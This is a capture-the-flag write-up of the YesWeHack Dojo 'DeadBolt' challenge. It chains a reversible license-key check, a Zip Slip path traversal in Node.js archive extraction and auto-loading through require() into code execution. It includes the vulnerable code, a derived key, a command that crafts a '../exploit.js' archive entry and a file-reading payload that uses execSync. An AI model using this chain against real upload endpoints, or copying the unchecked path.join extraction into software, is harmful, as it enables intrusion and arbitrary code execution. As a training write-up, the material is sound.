This one's from the YesWeHack Dojo — their monthly community challenge thing, not a private program, so nothing here needs redacting, which honestly is kind of a relief after my last few posts. Challenge was called DeadBolt, dojo #51. Ended up chaining a license-key bypass with a Zip Slip into full RCE. Got the flag, got a nice little "you popped it" message from the YWH team with their official solve, and I actually solved it a slightly different way than their intended path, which was a nice feeling.
The setup
The premise: a Node.js app running a "private" plugin marketplace. Ten customers, license keys handed out at launch, you need a valid key to upload a plugin. Plugins get uploaded as zip files, extracted server-side, then loaded and run. Classic three-stage target — auth bypass, file handling, code execution — and once I saw all three of those sitting in one flow I already knew this was going to be a chain, not a single bug.
Stage one: breaking the license key
First thing I do on anything like this is go look at how the validation actually works, because "license key" usually means "some math I can reverse" way more often than it means "some secret I can't get to."
And yeah — the validateKey() function was pure client-visible math. No server-side seed, no HMAC,
nothing pulled from a database. Just arithmetic on the key bytes:
function validateKey(key) {
const raw = key.replace(/-/g, '').toUpperCase();
if (raw.length !== 16 || !/^[0-9A-F]{16}$/.test(raw)) return false;
const [A, B, C, D] = [0, 4, 8, 12].map(i => parseInt(raw.slice(i, i + 4), 16));
const f = (A >> 12) & 0xF;
const seed = (A ^ B ^ C) & 0xFFFF;
return (f === 0xA || f === 0xC)
&& ( (B ^ (A & 0xFF)) & 0xFF ) === 0x37
&& C % 7 === 0
&& D === ((Math.imul(seed, 1103515245) + 1337) & 0xFFFF);
}
Okay so I'll be honest, I stared at this longer than I want to admit. My first instinct was to just brute force it — 16 hex chars felt scary at first glance, like maybe it's a huge space. Then I actually did the math in my head (badly) and realized the four constraints basically hand you the answer piece by piece if you just solve them one at a time instead of treating it as one blob:
f = (A >> 12) & 0xFhas to be0xAor0xC— that's literally just "top nibble of A is A or C." PickA = 0xA123, done.(B ^ (A & 0xFF)) & 0xFF === 0x37— once A is fixed, this pins down B completely.A & 0xFF = 0x23, soB_low = 0x37 ^ 0x23 = 0x14.C % 7 === 0— pick literally any multiple of 7. I went with0x0007.D— fully determined by the other three through that seed formula, just compute it.
Ended up with A123-0014-0007-46A9. And this is the part I want to flag for anyone newer than me:
I almost brute-forced a puzzle that was solvable analytically in like ten minutes, purely because 16 hex
characters looked intimidating before I actually read what each check was doing. Lesson learned — read
the constraints before you reach for a script that guesses blindly.
Stage two: the actual bug — Zip Slip
Key sorted, now the interesting part. The zip extraction:
function unzip(filename, dest) { // dest = '/tmp/app/plugins/archive'
yauzl.open(filename, { lazyEntries: true, strictFileNames: true, decodeStrings: false }, (err, zipfile) => {
zipfile.on('entry', (entry) => {
const filenameStr = entry.fileName.toString();
const destpath = path.join(dest, filenameStr); // No path traversal check!
fs.mkdirSync(path.dirname(destpath), { recursive: true });
zipfile.openReadStream(entry, (err, readStream) => {
const writeStream = fs.createWriteStream(destpath);
readStream.pipe(writeStream);
});
});
});
}
strictFileNames: true tricked me for a second — I saw that flag and thought "oh, maybe traversal's
already handled." It's not. That flag is about UTF-8 encoding validity, not about ../ sequences. Two
completely different kinds of "strict," and the option name doesn't tell you which one you're getting. Worth
remembering next time a library flag sounds protective — always go read what it actually checks, don't
assume from the name.
So a zip entry named ../evil.js just walks straight out of archive/ and lands in the parent
plugins/ directory:
path.join('/tmp/app/plugins/archive', '../evil.js')
= '/tmp/app/plugins/evil.js'
That's the whole bug. path.join doesn't stop that. You need to explicitly check the resolved path stays
inside the intended directory, and nobody did.
Stage three: turning a dropped file into code execution
Landing a file in plugins/ matters because of this:
const require_plugin = module.createRequire('file:///tmp/app/plugins/');
function loadPlugin(pluginFilename) {
const resolved = path.resolve(pluginFilename);
if (!fs.existsSync(resolved)) throw new Error(`Plugin not found: ${resolved}`);
const plugin = require_plugin(resolved); // Executes the file!
...
}
No sandboxing, no allowlist, nothing checking the file is actually a "real" plugin before requiring it. Anything that lands in that folder with valid JS in it just... runs. Full Node privileges.
Chaining it — and where I actually got stuck
I want to be upfront that building the malicious zip by hand was the part that ate most of my time, not the
vulnerability logic. I originally tried building it with a normal zip library and just renaming the entry after
the fact, which does NOT work the way you'd hope — most zip tooling normalizes or rejects ../ in entry
names before you ever get a chance to write the bytes, because, well, they don't want to be a Zip Slip generator
by default (fair enough, in hindsight).
Two ways around that, and I actually ended up doing it the harder way first before realizing there was an easier one:
The way I did it (manual zip construction): wrote the local file header, central directory, and
end-of-central-directory records by hand in a small Node script, including my own CRC32 implementation, so I had
full control over the entry filename bytes and nothing "helpfully" sanitized ../ out from under me.
The way YWH's official solve used (and honestly, wish I'd found first): a tool called archive-alchemist that's basically built exactly for this — crafting zips with path-traversal / symlink entries without fighting a normal zip library's safety rails.
python3 archive-alchemist.py zipslip.zip add "../exploit.js" --content "$(cat exploit.js)" && cat zipslip.zip | base64 -w 0
That's genuinely a tool I'm keeping in my kit now. No point hand-rolling zip headers every time when something already exists purpose-built for exactly this class of bug.
For the payload itself, I went with a plugin that tries a short list of likely flag paths first, falls back to a
find sweep, and only then falls back to dumping env vars — trying to be a little more surgical before going
nuclear:
run() {
const paths = ['/tmp/app/flag.txt', '/tmp/flag.txt', '/flag.txt'];
let flag = null;
for (const p of paths) {
try { flag = fs.readFileSync(p, 'utf-8').trim(); if (flag) break; } catch(e) {}
}
if (!flag) {
try { flag = execSync('find / -name "flag*" -maxdepth 3 -type f 2>/dev/null | head -5').toString().trim(); } catch(e) {}
}
console.log('FLAG_FOUND: ' + flag);
}
Uploaded it under the computed key, plugin name evil, submitted, and the flag popped straight into the
result panel: FLAG{D3adb0lt_Syml1nk_Exp10t!!}.
Comparing notes with the official solve
What I liked about seeing YWH's own writeup afterward is that their key-derivation approach was basically the
same idea as mine but cleaner — they fixed A first and derived B directly from the XOR constraint
instead of me picking B somewhat by trial. Same logic, tidier execution. Good reminder that "it worked" and "it
was the clean way to do it" aren't always the same thing, and it's worth comparing your own solve against the
official one even after you've already got the flag — you usually learn something about your own process, not just
the bug.
Techniques worth keeping
- When you see "license key," check whether it's actually cryptographically bound to a secret, or just math you can read and reverse. A LOT of these are the second one.
- Solve constraint-based checks one variable at a time instead of treating the whole check as one opaque blob to brute force.
- Don't trust a config flag's name to tell you what it protects against — go read the actual behavior.
strictFileNamessounded like path safety, it wasn't. path.join(base, userControlledInput)without a post-join containment check is a Zip Slip / path traversal waiting to happen — this pattern shows up constantly in anything that extracts archives or unpacks user uploads.- If a normal zip library won't let you write a
../entry, that's usually the library protecting you, not a dead end — there's tooling built specifically to construct these archives on purpose (archive-alchemist, in this case). - Once you land arbitrary file write in a directory that gets
require()'d or otherwise auto-loaded, that's basically RCE — the "loading" step rarely gets the scrutiny the "writing" step does.
Takeaways
- Intimidating-looking crypto/math checks are often bluffing — read the constraints before reaching for brute force.
- A flag or option name is a hint, not documentation. Verify what it actually does.
- Zip Slip is still everywhere in 2026 because archive extraction is one of those "we'll get to hardening it later" corners of a lot of codebases.
- Build a real toolkit instead of hand-rolling everything — I'll take archive-alchemist over my manual zip-byte script every time from now on.
- File write + auto-load anywhere in the same app is basically a free RCE chain, and it's worth specifically hunting for that combination rather than treating "arbitrary file write" as the finish line.
- Compare your solve to the official one when it's available, even after you've already won. The gap between "worked" and "clean" is where you actually get better.
Public YesWeHack Dojo community challenge — nothing in this one needed redacting for once. Flag included since it's a training challenge, not a live target.
